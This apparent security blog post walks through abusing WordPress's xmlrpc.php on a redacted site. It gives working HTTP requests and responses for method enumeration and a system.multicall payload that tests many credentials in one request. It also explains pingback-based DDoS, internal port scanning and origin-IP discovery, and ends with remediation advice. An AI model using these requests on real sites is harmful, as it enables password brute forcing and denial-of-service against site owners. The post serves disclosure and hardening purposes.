/xmlrpc.php: A MalActor's Stage enabling :SSRF/XSPA/DDOS/Bruteforcing XMLBombs/and more
Data Bomb

/xmlrpc.php: A MalActor's Stage enabling :SSRF/XSPA/DDOS/Bruteforcing XMLBombs/and more

By ButImNotAShark | DebugCrypto | 15 Apr 2021


J.A.W.z: The Solar Powered Bard & Security Researcher

=============================================================================================================================
Why XML RPC Needs ToGo; TDLR
XMLRPC provides a server-side toolkit to MalActors. Allowing them to use it as a foothold to futher compromise or expliot the target.
=============================================================================================================================
SEE:CVE-2016-5002,CVE-2016-5003,CVE-2016-5004
Impact:
This method is also used for brute force attacks to stealing the admin credentials and other important credentials
This can be automated from multiple hosts and be used to cause a mass DDOS attack on the victim.
-----------------------------------------------------------------------------
Wordpress that have xmlrpc.php enabled for pingbacks, trackbacks, etc. can be made as a part of a huge botnet causing a major DDOS. The website https://redacted.com/ has the xmlrpc.php file enabled and could thus be potentially used for such an attack against other victim hosts.
In order to determine whether the xmlrpc.php file is enabled or not, us the Repeater tab in Burp, and send the request below.
------------------------------------------------------------------------
REQUEST
========================================================================
----------------------------------------------------------------------------
POST /xmlrpc.php HTTP/1.1
Host: redacted.com
Connection: close
sec-ch-ua: "Google Chrome";v="89", "Chromium";v="89", ";Not A Brand";v="99"
sec-ch-ua-mobile: ?0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.128 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie:<MAINTAIN COOKIE IF NEEDED>

Content-Type: application/x-www-form-urlencoded
Content-Length: 91

<methodCall>
<methodName>system.listMethods</methodName>
<params></params>
</methodCall>
------------------------------------------------------------------------
RESPONSE
========================================================================

HTTP/1.1 200 OK
Content-Type: text/xml; charset=UTF-8
Vary: Accept-Encoding
X-Robots-Tag: noindex, follow
X-Cloud-Trace-Context: c4400834c7ad8a2ab6a035d5d7e634c8
Date: Thu, 15 Apr 2021 09:40:15 GMT
Server: Google Frontend
Cache-Control: private
Connection: close
Content-Length: 4272

<?xml version="1.0" encoding="UTF-8"?>
<methodResponse>
<params>
<param>
<value>
<array><data>
<value><string>system.multicall</string></value>
<value><string>system.listMethods</string></value>
<value><string>system.getCapabilities</string></value>
<value><string>demo.addTwoNumbers</string></value>
<value><string>demo.sayHello</string></value>
<value><string>pingback.extensions.getPingbacks</string></value>
<value><string>pingback.ping</string></value>
<value><string>mt.publishPost</string></value>
<value><string>mt.getTrackbackPings</string></value>
<value><string>mt.supportedTextFilters</string></value>
<value><string>mt.supportedMethods</string></value>
<value><string>mt.setPostCategories</string></value>
<value><string>mt.getPostCategories</string></value>
<value><string>mt.getRecentPostTitles</string></value>
<value><string>mt.getCategoryList</string></value>
<value><string>metaWeblog.getUsersBlogs</string></value>
<value><string>metaWeblog.deletePost</string></value>
<value><string>metaWeblog.newMediaObject</string></value>
<value><string>metaWeblog.getCategories</string></value>
<value><string>metaWeblog.getRecentPosts</string></value>
<value><string>metaWeblog.getPost</string></value>
<value><string>metaWeblog.editPost</string></value>
<value><string>metaWeblog.newPost</string></value>
<value><string>blogger.deletePost</string></value>
<value><string>blogger.editPost</string></value>
<value><string>blogger.newPost</string></value>
<value><string>blogger.getRecentPosts</string></value>
<value><string>blogger.getPost</string></value>
<value><string>blogger.getUserInfo</string></value>
<value><string>blogger.getUsersBlogs</string></value>
<value><string>wp.restoreRevision</string></value>
<value><string>wp.getRevisions</string></value>
<value><string>wp.getPostTypes</string></value>
<value><string>wp.getPostType</string></value>
<value><string>wp.getPostFormats</string></value>
<value><string>wp.getMediaLibrary</string></value>
<value><string>wp.getMediaItem</string></value>
<value><string>wp.getCommentStatusList</string></value>
<value><string>wp.newComment</string></value>
<value><string>wp.editComment</string></value>
<value><string>wp.deleteComment</string></value>
<value><string>wp.getComments</string></value>
<value><string>wp.getComment</string></value>
<value><string>wp.setOptions</string></value>
<value><string>wp.getOptions</string></value>
<value><string>wp.getPageTemplates</string></value>
<value><string>wp.getPageStatusList</string></value>
<value><string>wp.getPostStatusList</string></value>
<value><string>wp.getCommentCount</string></value>
<value><string>wp.deleteFile</string></value>
<value><string>wp.uploadFile</string></value>
<value><string>wp.suggestCategories</string></value>
<value><string>wp.deleteCategory</string></value>
<value><string>wp.newCategory</string></value>
<value><string>wp.getTags</string></value>
<value><string>wp.getCategories</string></value>
<value><string>wp.getAuthors</string></value>
<value><string>wp.getPageList</string></value>
<value><string>wp.editPage</string></value>
<value><string>wp.deletePage</string></value>
<value><string>wp.newPage</string></value>
<value><string>wp.getPages</string></value>
<value><string>wp.getPage</string></value>
<value><string>wp.editProfile</string></value>
<value><string>wp.getProfile</string></value>
<value><string>wp.getUsers</string></value>
<value><string>wp.getUser</string></value>
<value><string>wp.getTaxonomies</string></value>
<value><string>wp.getTaxonomy</string></value>
<value><string>wp.getTerms</string></value>
<value><string>wp.getTerm</string></value>
<value><string>wp.deleteTerm</string></value>
<value><string>wp.editTerm</string></value>
<value><string>wp.newTerm</string></value>
<value><string>wp.getPosts</string></value>
<value><string>wp.getPost</string></value>
<value><string>wp.deletePost</string></value>
<value><string>wp.editPost</string></value>
<value><string>wp.newPost</string></value>
<value><string>wp.getUsersBlogs</string></value>
</data></array>
</value>
</param>
</params>
</methodResponse>


Version Check: Gathering more Intel
========================================================================
POST /xmlrpc.php HTTP/1.1
Host: redacted.com
Connection: close
sec-ch-ua: "Google Chrome";v="89", "Chromium";v="89", ";Not A Brand";v="99"
sec-ch-ua-mobile: ?0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.128 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: <MAINTAIN COOKIE IF NEEDED>
Content-Type: application/x-www-form-urlencoded
Content-Length: 95

<methodCall>
<methodName>system.getCapabilities</methodName>
<params></params>
</methodCall>


RESPONSE
========================================================================
HTTP/1.1 200 OK
Content-Type: text/xml; charset=UTF-8
Vary: Accept-Encoding
X-Robots-Tag: noindex, follow
X-Cloud-Trace-Context: 8a1963a1b7de06d85d56e71e3dbf826d
Date: Thu, 15 Apr 2021 11:07:22 GMT
Server: Google Frontend
Cache-Control: private
Connection: close
Content-Length: 975

<?xml version="1.0" encoding="UTF-8"?>
<methodResponse>
<params>
<param>
<value>
<struct>
<member><name>xmlrpc</name><value><struct>
<member><name>specUrl</name><value><string>http://www.xmlrpc.com/spec</string></value></member>
<member><name>specVersion</name><value><int>1</int></value></member>
</struct></value></member>
<member><name>faults_interop</name><value><struct>
<member><name>specUrl</name><value><string>http://xmlrpc-epi.sourceforge.net/specs/rfc.fault_codes.php</string></value></member>
<member><name>specVersion</name><value><int>20010516</int></value></member>
</struct></value></member>
<member><name>system.multicall</name><value><struct>
<member><name>specUrl</name><value><string>http://www.xmlrpc.com/discuss/msgReader$1208</string></value></member>
<member><name>specVersion</name><value><int>1</int></value></member>
</struct></value></member>
</struct>
</value>
</param>
</params>
</methodResponse>
---------------------------------------Version 20010516------------------------------------


Notice the successful responses. This tells us that the xmlrpc.php file IS enabled.
Now, considering the domain https://redacted.com/ the xmlrpc.php file discussed above could potentially be abused . The XML-RPC interface opens mainly two kinds of attacks:

-Brute force attacks via XML-RPC
-XML-RPC pingbacks
--XSPA
--DDos

XML-RPC pingbacks attacks (SSRF)
In this case, a Mal-Actor is able to leverage the default XML-RPC API in order to perform callbacks for the following purposes:

Distributed denial-of-service (DDoS) attacks - A Mal-Actor executes the pingback.ping the method from several affected WordPress installations against a single unprotected target (botnet level).
Cloudflare Protection Bypass - A Mal-Actor executes the pingback.ping the method from a single affected WordPress installation which is protected by CloudFlare toa Mal-Actor-controlled public host (for example a VPS) in order to reveal the public IP of the target, therefore bypassing any DNS level protection.

XSPA (Cross Site Port Attack) -A Mal-Actor can execute the pingback.ping the method from a single affected WordPress installation to the same host (or other internal/private host) on different ports. An open port or an internal host can be determined by observing the difference in time of response and/or by looking at the response of the request.


According to the WordPress documentation (https://codex.wordpress.org/XML-RPC_Support), XML-RPC functionality is turned on by default since WordPress 3.5.

In this case, the exploited feature is referred to as a "pingback."
The WordPress xml-rpc pingback feature has been abused to DDoS target sites using legitimate vulnerable WordPress sites as unwilling participants.

"The pingback feature in WordPress can be accessed through the xmlrpc.php file," Larry wrote. "One of the methods available in this API is the pingback.ping function. This function takes two parameters, the source URI and the target URI. With this function, other WordPress blogs can announce pingbacks."


When WordPress processes pingbacks, it's attempting to resolve the URL supplied to this function, if it succeeds it will make a request to the URL specified and check the response for a link to a certain WordPress blog post. If it finds a link, it will publish a comment on that blog post noting that this blog post was mentioned in their blog.

Essentially this is an open proxy allowing any malicious user to use a WordPress site to direct layer seven attacks at a target. This can also be abused to target internal systems if the webserver is hosted on an internal network. Adversaries can attempt to enumerate internal services and systems by specifying RFC1918 addresses and ports as target URLs. They can also change the configuration on certain web-enabled devices by placing login credentials in the target URL.


POC :
--------------------------------

Sanity Check: Testing Response of demo.sayHello
========================================================================
----------------------------------------------------------------------------
POST /xmlrpc.php HTTP/1.1
Host: redacted.com
Connection: close
sec-ch-ua: "Google Chrome";v="89", "Chromium";v="89", ";Not A Brand";v="99"
sec-ch-ua-mobile: ?0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.128 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie:<MAINTAIN COOKIE IF NEEDED>Content-Type: application/x-www-form-urlencoded
Content-Length: 91

<methodCall>
<methodName>demo.sayHello</methodName>
<params></params>
</methodCall>

RESPONSE
========================================================================
HTTP/1.1 200 OK
Content-Type: text/xml; charset=UTF-8
Vary: Accept-Encoding
X-Robots-Tag: noindex, follow
X-Cloud-Trace-Context: da160e09f3c8746937fd3c0e7b1695d3
Date: Thu, 15 Apr 2021 10:05:39 GMT
Server: Google Frontend
Cache-Control: private
Connection: close
Content-Length: 181

<?xml version="1.0" encoding="UTF-8"?>
<methodResponse>
<params>
<param>
<value>
<string>Hello!</string>
</value>
</param>
</params>
</methodResponse>

 


XML Bombs & Brute forcing:Attacks using system.multicall and wp.getUsersBlogs
========================================================================
Sometimes the only way to bypass request limiting or blocking in a brute force attack against WordPress site is to use the all too forgotten XML-RPC API.

The following request represents the most common brute force attack:

POST /xmlrpc.php HTTP/1.1
Host: redacted.com
Connection: close
sec-ch-ua: "Google Chrome";v="89", "Chromium";v="89", ";Not A Brand";v="99"
sec-ch-ua-mobile: ?0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.128 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie:<MAINTAIN COOKIE IF NEEDED>
Content-Type: application/x-www-form-urlencoded
Content-Length: 237

<?xml version="1.0" encoding="UTF-8"?>
<methodCall>
<methodName>wp.getUsersBlogs</methodName>
<params>
<param><value>\{\{your username\}\}</value></param>
<param><value>\{\{your password\}\}</value></param>
</params>
</methodCall>

RESPONSE
========================================================================

HTTP/1.1 200 OK
Content-Type: text/xml; charset=UTF-8
Vary: Accept-Encoding
X-Robots-Tag: noindex, follow
X-Cloud-Trace-Context: 56295396289509c4194e0420f8822225
Date: Thu, 15 Apr 2021 10:28:24 GMT
Server: Google Frontend
Cache-Control: private
Connection: close
Content-Length: 403

<?xml version="1.0" encoding="UTF-8"?>
<methodResponse>
<fault>
<value>
<struct>
<member>
<name>faultCode</name>
<value><int>403</int></value>
</member>
<member>
<name>faultString</name>
<value><string>Incorrect username or password.</string></value>
</member>
</struct>
</value>
</fault>
</methodResponse>

As a MalActor i'd be Worried about sending way to much requests against the target. Thankfully WordPress XML-RPC by default allows a MalActor to perform a single request, and brute force hundreds of passwords by formatting a wordlist of usernames and passwords.

Using system.multicall and wp.getUsersBlogs methods:
----------------------------------------------------------------------------------------------------------------------------------
POST /xmlrpc.php HTTP/1.1
Host: redacted.com
Connection: close
sec-ch-ua: "Google Chrome";v="89", "Chromium";v="89", ";Not A Brand";v="99"
sec-ch-ua-mobile: ?0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.128 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: <MAINTAIN COOKIE IF NEEDED>
Content-Type: text/xml; charset=UTF-8
Content-Length: 1592

<?xml version="1.0"?>
<methodCall><methodName>system.multicall</methodName><params><param><value><array><data>

<value>
<struct>
<member>
<name>methodName</name>
<value>
<string>wp.getUsersBlogs</string>
</value>
</member>
<member>
<name>params</name>
<value>
<array>
<data>
<value>
<array>
<data>
<value>
<string>\{\{ Your Username \}\}</string>
</value>
<value>
<string>\{\{ Your Password \}\}</string>
</value>
</data>
</array>
</value>
</data>
</array>
</value>
</member></struct></value>

<value><struct><member><name>methodName</name><value><string>wp.getUsersBlogs</string></value></member><member><name>params</name><value><array><data><value><array><data><value><string>\{\{ Your Username \}\}</string></value><value><string>\{\{ Your Password \}\}</string></value></data></array></value></data></array></value></member></struct></value>

<value><struct><member><name>methodName</name><value><string>wp.getUsersBlogs</string></value></member><member><name>params</name><value><array><data><value><array><data><value><string>\{\{ Your Username \}\}</string></value><value><string>\{\{ Your Password \}\}</string></value></data></array></value></data></array></value></member></struct></value>

<value><struct><member><name>methodName</name><value><string>wp.getUsersBlogs</string></value></member><member><name>params</name><value><array><data><value><array><data><value><string>\{\{ Your Username \}\}</string></value><value><string>\{\{ Your Password \}\}</string></value></data></array></value></data></array></value></member></struct></value>

</data></array></value></param></params></methodCall>

RESPONSE
========================================================================
HTTP/1.1 200 OK
Content-Type: text/xml; charset=UTF-8
Vary: Accept-Encoding
X-Robots-Tag: noindex, follow
X-Cloud-Trace-Context: e13ce66b7cbf08c920e4e6131ac6f111
Date: Thu, 15 Apr 2021 10:23:51 GMT
Server: Google Frontend
Cache-Control: private
Connection: close
Content-Length: 1043

<?xml version="1.0" encoding="UTF-8"?>
<methodResponse>
<params>
<param>
<value>
<array><data>
<value><struct>
<member><name>faultCode</name><value><int>403</int></value></member>
<member><name>faultString</name><value><string>Incorrect username or password.</string></value></member>
</struct></value>
<value><struct>
<member><name>faultCode</name><value><int>403</int></value></member>
<member><name>faultString</name><value><string>Incorrect username or password.</string></value></member>
</struct></value>
<value><struct>
<member><name>faultCode</name><value><int>403</int></value></member>
<member><name>faultString</name><value><string>Incorrect username or password.</string></value></member>
</struct></value>
<value><struct>
<member><name>faultCode</name><value><int>403</int></value></member>
<member><name>faultString</name><value><string>Incorrect username or password.</string></value></member>
</struct></value>
</data></array>
</value>
</param>
</params>
</methodResponse>

In the above example I "tested" 4 different credentials sets using a single request. A MalActor could a format a wordlist in a wellformed manner and wrap the now well formed wordlist in a valid http request and review the response also his can be leveraged to consume computational power server side if the request was large enough or if the MalActor nested system.multicall into a large bruteforcing XML Bomb with only a single request logged.

XMLBRUTE FORCE EXPLOIT
----------------------------------
https://github.com/1N3/Wordpress-XMLRPC-Brute-Force-Exploit/blob/master/wordpress-xmlrpc-brute-v2.py

Remediation:
--------------------------------------
If the XMLRPC.php file is not being used, it should be disabled and removed completely to avoid any potential risks.

See:https://www.scottbrownconsulting.com/2020/03/two-ways-to-fully-disable-wordpress-xml-rpc/


ref:
http://xmlrpc-epi.sourceforge.net/specs/rfc.fault_codes.php
https://hackerone.com/reports/96294
https://0ang3el.blogspot.com/2016/07/beware-of-ws-xmlrpc-library-in-your.html
https://blogs.akamai.com/2014/03/anatomy-of-wordpress-xml-rpc-pingback-attacks.html
https://nitesculucian.github.io/2019/07/01/exploiting-the-xmlrpc-php-on-all-wordpress-versions/
https://www.scottbrownconsulting.com/2020/03/two-ways-to-fully-disable-wordpress-xml-rpc/
https://ibreak.software/2012/11/cross-site-port-attacks-xspa-part-1/
https://the-bilal-rizwan.medium.com/wordpress-xmlrpc-php-common-vulnerabilites-how-to-exploit-them-d8d3c8600b32


ButImNotAShark
ButImNotAShark

J.A.W.z: The Solar Powered Bard & Security Researcher


DebugCrypto
DebugCrypto

I'm your ,"Melenated routine" to include in your daily scripts,Your Tecnomancing-Bard to bring Art from the Crypts,Neon lights and Solar Panels,Memory Surfing and Digital Cameras. Welcome to where Cryptography =>Meets <= Assembly,My Digital Launch Point ;). -JAWz|Solar-Powered Bard & Security Researcher

Send a $0.01 microtip in crypto to the author, and earn yourself as you read!

20% to author / 80% to me.
We pay the tips from our rewards pool.